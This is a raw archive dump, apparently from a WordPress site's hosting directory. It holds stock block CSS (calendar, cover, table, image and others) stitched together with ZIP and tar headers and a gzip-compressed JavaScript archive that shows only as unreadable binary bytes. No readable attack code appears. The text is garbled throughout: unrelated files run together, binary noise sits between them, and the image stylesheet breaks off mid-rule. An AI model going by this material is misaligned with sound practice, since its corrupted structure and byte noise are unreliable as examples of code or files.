.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}PK�[d[��q��style-rtl.min.cssnu�[���PK�[d[��q��
�style.min.cssnu�[���PK�[d[�&^d
�block.jsonnu�[���PK�[d[Tkkm��
�	style-rtl.cssnu�[���PK�[d[Tkkm��	�style.cssnu�[���PK~
14338/utils.js.js.tar.gz000064400000003412151024420100010530 0ustar00��XmS�F�W�W,_"d�B���6���6i2�|)CY:cI��N��߻�wzŐ4������}��g��c)1^�B].~O�A%B"A,�4JϋL���/Y���d2^e�(
�"j�^���{��L����];>�L������O�����������ۅɝ���P��������77��	R^DE�H���A�N:+4�Qr���M8��܏�P"?Z#p��B?��w��Uf\�O%tc�,�!q��\����]iB-:��(
�ʫ��>��c8^��d�IV�?��\&6�$b_)�R8���W?����U$
��B��"��/޼��������cd&`�!�z�~��>*�`��l/��S����
�ݙ���#	׺�:r���X��z��6f3p(�E���)M/d�)ښ�����q��	ҭ�R�8�^���wI�$=ui	&�:[���^k
�
�q��Z�`z�7.)���^��79��� �ֿ8�N\&�Fx�Jb�7.&�����!4����F�~\ ��~�j�"���;%�Zh�[�'�)8��@�G�b�q����W-̐t)��J/#�|)ႉ�����eyd9�,��y�n��R�/3+�g�Ф�.{f�?�4�NH�drzj-�LOy�fXa٦�����{s�"&��S�@�8�u���4���E�!����5_������<��,�Z_�2�g��HKQN���z��#?J���"o�MiJ��py�hڪ���,io͘��hB����Xp�2�����a�H� qI��!��z#���`�]
�k(�"���Of8Ίz���5� 3G5R��z�d���=�amf�?��f��eF��'��Tз�L�8�_GXs*�v�X���h%:A5�,�v:#��qz �L��º}�9�w-�o-`}��*u�ȣ��9�y��)�$+�Ș����˦B4���i�� D��b�A֐�#�3�����L���}

u���n��i!�J�lطwFk�n	�Y���3��/^qn�BY��:��!4�����T�*�)A�Z�'��D=��8�R'߭��_6�tlA
�F��XHaIǑM��8�3��ʈ�,�:���T�4�F%W�舌�Y���Ӿ];�8���>,N/,[���7ŷ����ň7/4#�홷"��bm��>�!����|Ќ�5��D��k�?
+�N�h�"�KÙ�tI�9;��	� ���Rψ s�q��Cpy\�8lдk`<dB���Y������t�v#��T2Sx幻}hG<u��gS��,��n_LOs��r��a�!��X*-�Oh��o2����\��ª��N!_��KD+{���T�-*���N�ȱ�
+*�*_��2D�T
�����2g5��BD�H��()���Ѓ_(�E��y,�FF�+MW7f��JX�K��*)���K�-��T-K���d�S[�+%��yl'���6ń�""2o�{8D��B�ӛ==�W���#�24$=f���<6&�1f��ў7:.��B$ՒQ�\d� ��O~{6���1}}6:���W�@3����`���/�hl6��P^j�.E�����m$��iO�6غ�=s�^�Au<�20�u���Dn��铝�}�5��}do[#V�M�JIS��]u7�����Y趁�WM8
�&1O�O�{��ZW{���49�C�M�_�s|gkp�g�S�#Ѣ�����zx����yx���'�"�14338/style.min.css.tar000064400000136000151024420100010434 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/cover/style.min.css000064400000045266151024266160026423 0ustar00.wp-block-cover,.wp-block-cover-image{align-items:center;background-position:50%;box-sizing:border-box;display:flex;justify-content:center;min-height:430px;overflow:hidden;overflow:clip;padding:1em;position:relative}.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){background-color:#000}.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{background-color:initial}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{bottom:0;left:0;opacity:.5;position:absolute;right:0;top:0}.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{opacity:.1}.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{opacity:.2}.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{opacity:.3}.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{opacity:.4}.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{opacity:.5}.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{opacity:.6}.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{opacity:.7}.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{opacity:.8}.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{opacity:.9}.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{opacity:1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{opacity:0}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;position:relative;width:100%}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-left:0;text-align:left}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-right:0;text-align:right}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){color:inherit}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{z-index:0}body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{z-index:1}.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{z-index:auto}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/verse/style.min.css000064400000000145151024266560026420 0ustar00pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/table/style.min.css000064400000007417151024266700026370 0ustar00.wp-block-table{overflow-x:auto}.wp-block-table table{border-collapse:collapse;width:100%}.wp-block-table thead{border-bottom:3px solid}.wp-block-table tfoot{border-top:3px solid}.wp-block-table td,.wp-block-table th{border:1px solid;padding:.5em}.wp-block-table .has-fixed-layout{table-layout:fixed;width:100%}.wp-block-table .has-fixed-layout td,.wp-block-table .has-fixed-layout th{word-break:break-word}.wp-block-table.aligncenter,.wp-block-table.alignleft,.wp-block-table.alignright{display:table;width:auto}.wp-block-table.aligncenter td,.wp-block-table.aligncenter th,.wp-block-table.alignleft td,.wp-block-table.alignleft th,.wp-block-table.alignright td,.wp-block-table.alignright th{word-break:break-word}.wp-block-table .has-subtle-light-gray-background-color{background-color:#f3f4f5}.wp-block-table .has-subtle-pale-green-background-color{background-color:#e9fbe5}.wp-block-table .has-subtle-pale-blue-background-color{background-color:#e7f5fe}.wp-block-table .has-subtle-pale-pink-background-color{background-color:#fcf0ef}.wp-block-table.is-style-stripes{background-color:initial;border-bottom:1px solid #f0f0f0;border-collapse:inherit;border-spacing:0}.wp-block-table.is-style-stripes tbody tr:nth-child(odd){background-color:#f0f0f0}.wp-block-table.is-style-stripes.has-subtle-light-gray-background-color tbody tr:nth-child(odd){background-color:#f3f4f5}.wp-block-table.is-style-stripes.has-subtle-pale-green-background-color tbody tr:nth-child(odd){background-color:#e9fbe5}.wp-block-table.is-style-stripes.has-subtle-pale-blue-background-color tbody tr:nth-child(odd){background-color:#e7f5fe}.wp-block-table.is-style-stripes.has-subtle-pale-pink-background-color tbody tr:nth-child(odd){background-color:#fcf0ef}.wp-block-table.is-style-stripes td,.wp-block-table.is-style-stripes th{border-color:#0000}.wp-block-table .has-border-color td,.wp-block-table .has-border-color th,.wp-block-table .has-border-color tr,.wp-block-table .has-border-color>*{border-color:inherit}.wp-block-table table[style*=border-top-color] tr:first-child,.wp-block-table table[style*=border-top-color] tr:first-child td,.wp-block-table table[style*=border-top-color] tr:first-child th,.wp-block-table table[style*=border-top-color]>*,.wp-block-table table[style*=border-top-color]>* td,.wp-block-table table[style*=border-top-color]>* th{border-top-color:inherit}.wp-block-table table[style*=border-top-color] tr:not(:first-child){border-top-color:initial}.wp-block-table table[style*=border-right-color] td:last-child,.wp-block-table table[style*=border-right-color] th,.wp-block-table table[style*=border-right-color] tr,.wp-block-table table[style*=border-right-color]>*{border-right-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:last-child,.wp-block-table table[style*=border-bottom-color] tr:last-child td,.wp-block-table table[style*=border-bottom-color] tr:last-child th,.wp-block-table table[style*=border-bottom-color]>*,.wp-block-table table[style*=border-bottom-color]>* td,.wp-block-table table[style*=border-bottom-color]>* th{border-bottom-color:inherit}.wp-block-table table[style*=border-bottom-color] tr:not(:last-child){border-bottom-color:initial}.wp-block-table table[style*=border-left-color] td:first-child,.wp-block-table table[style*=border-left-color] th,.wp-block-table table[style*=border-left-color] tr,.wp-block-table table[style*=border-left-color]>*{border-left-color:inherit}.wp-block-table table[style*=border-style] td,.wp-block-table table[style*=border-style] th,.wp-block-table table[style*=border-style] tr,.wp-block-table table[style*=border-style]>*{border-style:inherit}.wp-block-table table[style*=border-width] td,.wp-block-table table[style*=border-width] th,.wp-block-table table[style*=border-width] tr,.wp-block-table table[style*=border-width]>*{border-style:inherit;border-width:inherit}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/audio/style.min.css000064400000000234151024266720026372 0ustar00.wp-block-audio{box-sizing:border-box}.wp-block-audio :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-audio audio{min-width:300px;width:100%}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/group/style.min.css000064400000000165151024266730026431 0ustar00.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/quote/style.min.css000064400000001273151024271610026424 0ustar00.wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:right}.wp-block-quote>cite{display:block}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/query-title/style.min.css000064400000000054151024272310027545 0ustar00.wp-block-query-title{box-sizing:border-box}home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/image/style.min.css000064400000015230151024277560026361 0ustar00.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;min-height:40px;min-width:40px;padding:0;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s 